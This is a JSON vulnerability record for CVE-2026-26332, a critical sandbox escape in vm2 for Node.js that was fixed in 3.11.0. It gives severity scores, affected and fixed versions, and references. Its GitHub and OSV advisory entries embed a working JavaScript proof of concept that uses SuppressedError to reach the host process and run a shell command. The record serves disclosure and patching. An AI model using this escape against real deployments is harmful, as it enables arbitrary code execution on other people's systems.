{"id":"CVE-2026-26332","aliases":["CLSA-2026-1787860907","EUVD-2026-26993","GHSA-2cm2-m3w5-gp2f","GHSA-55hx-c926-fr95","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-26332"],"status":"published","title":"vm2: Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0071,"percentile":0.53966,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-653","CWE-693","CWE-94"],"published":"2026-05-04T16:35:52Z","modified":"2026-11-04T03:45:10Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.0"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.10.5-aikido.6","3.9.17-aikido.13","3.9.17-aikido.7","3.9.17-aikido.8","3.9.17-aikido.9","3.9.17-aikido.10","3.10.5-aikido.7","3.9.7-aikido.5","3.9.7-aikido.6","3.10.5-aikido.8"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.10.5-root.io.2","3.10.5-root.io.3","3.10.5-root.io.4","3.10.5-root.io.5","3.9.17-root.io.11","3.9.17-root.io.12","3.10.5-root.io.6","3.9.17-root.io.13","3.9.17-root.io.7","3.9.17-root.io.8","3.9.17-root.io.9","3.9.17-root.io.10","3.10.5-root.io.7","3.9.7-root.io.5","3.9.7-root.io.6","3.10.5-root.io.8"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.11.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.0"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.10.5-aikido.6"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.9.17-aikido.7"},{"fixed":"3.9.17-aikido.8"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.10.5-aikido.7"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.7-aikido.6"},{"fixed":"3.10.5-aikido.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.5-root.io.2"},{"fixed":"3.10.5-root.io.3"},{"fixed":"3.10.5-root.io.4"},{"fixed":"3.10.5-root.io.5"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.10.5-root.io.6"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.9.17-root.io.7"},{"fixed":"3.9.17-root.io.8"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.10.5-root.io.7"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.7-root.io.6"},{"fixed":"3.10.5-root.io.8"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"},{"vendor":"red hat","product":"red hat developer hub"},{"vendor":"red hat","product":"self-service automation portal 2"},{"vendor":"vm2_project","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-26332","tags":["vdb-entry","x_refsource_REDHAT","advisory","web"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2466508","tags":["issue-tracking","x_refsource_REDHAT","report","web"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-26332.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26332","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2/commit/119fd0aa1e4c27b08cf37946b2dafa99e2c754f0","tags":["web"]},{"url":"https://github.com/patriksimek/vm2/commit/4cb82cc94d9bb6c9a918b45f8c6790c32a5e913f","tags":["web"]},{"url":"https://github.com/patriksimek/vm2/commit/7395c3a4b01d302e55271c87dbeb44d6b83b81ca","tags":["web"]},{"url":"https://github.com/patriksimek/vm2/commit/792e16d56ee429ab19e284ed9c545f5e4694fb7d","tags":["web"]},{"url":"https://github.com/patriksimek/vm2/commit/d715dd88c5aec5bbb4dce03ddf7c3eb3791d0338","tags":["web"]},{"url":"https://github.com/advisories/GHSA-55hx-c926-fr95"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26332.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-26332","title":"vm2: Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.","status":"published","published":"2026-05-04T16:35:52.706Z","modified":"2026-07-15T01:14:58.971Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"adp"}],"cwes":["CWE-94","CWE-693","CWE-653"],"updated_at":"2026-11-02T13:38:20.971157Z"}],"euvd":[{"id":"EUVD-2026-26993","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.","status":"published","published":"2026-05-04T16:35:52Z","modified":"2026-07-15T01:14:58Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:19:55.842782Z"}],"ghsa":[{"id":"GHSA-55hx-c926-fr95","title":"VM2 Has a Sandbox Escape Issue via SuppressedError","description":"In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.\n\n### PoC\n```js\nconst { VM } = require(\"vm2\");\n\nconst vm = new VM();\n\nvm.run(`\nconst ds = new DisposableStack();\nds.defer(() =\u003e { throw null; });\nds.defer(() =\u003e {\n  const e = Error();\n  e.name = Symbol();\n  e.stack;\n});\ntry {\n  ds.dispose();\n} catch(e) {\n  const Function = e.suppressed.constructor.constructor;\n  const process = new Function(\"return process;\")();\n  const { execSync } = process.mainModule.require(\"node:child_process\");\n  execSync(\"echo pwned\", { stdio: \"inherit\" });\n}\n`);\n```","status":"published","published":"2026-05-05T16:33:45Z","modified":"2026-11-04T03:29:32Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94","CWE-653","CWE-693"],"updated_at":"2026-11-04T03:52:50.391589Z"}],"nvd":[{"id":"CVE-2026-26332","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.","status":"published","published":"2026-05-04T17:16:22.403Z","modified":"2026-10-26T19:10:00.163Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94","CWE-693","CWE-653"],"updated_at":"2026-11-02T14:12:17.022502Z"}],"osv":[{"id":"CVE-2026-26332","title":"vm2: Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.","status":"published","published":"2026-05-04T16:35:52.706Z","modified":"2026-10-28T02:31:09.958524089Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-693","CWE-94"],"updated_at":"2026-11-02T15:44:59.80315Z"},{"id":"GHSA-55hx-c926-fr95","title":"VM2 Has a Sandbox Escape Issue via SuppressedError","description":"In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.\n\n### PoC\n```js\nconst { VM } = require(\"vm2\");\n\nconst vm = new VM();\n\nvm.run(`\nconst ds = new DisposableStack();\nds.defer(() =\u003e { throw null; });\nds.defer(() =\u003e {\n  const e = Error();\n  e.name = Symbol();\n  e.stack;\n});\ntry {\n  ds.dispose();\n} catch(e) {\n  const Function = e.suppressed.constructor.constructor;\n  const process = new Function(\"return process;\")();\n  const { execSync } = process.mainModule.require(\"node:child_process\");\n  execSync(\"echo pwned\", { stdio: \"inherit\" });\n}\n`);\n```","status":"published","published":"2026-05-05T16:33:45Z","modified":"2026-11-04T03:45:10.219355837Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-653","CWE-693","CWE-94"],"updated_at":"2026-11-04T03:56:18.279609Z"},{"id":"ROOT-APP-NPM-CVE-2026-26332","title":"CVE-2026-26332 in vm2 - Patched by Root","description":"Root has patched CVE-2026-26332 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-08T07:17:45Z","modified":"2026-10-08T08:15:24.324417547Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}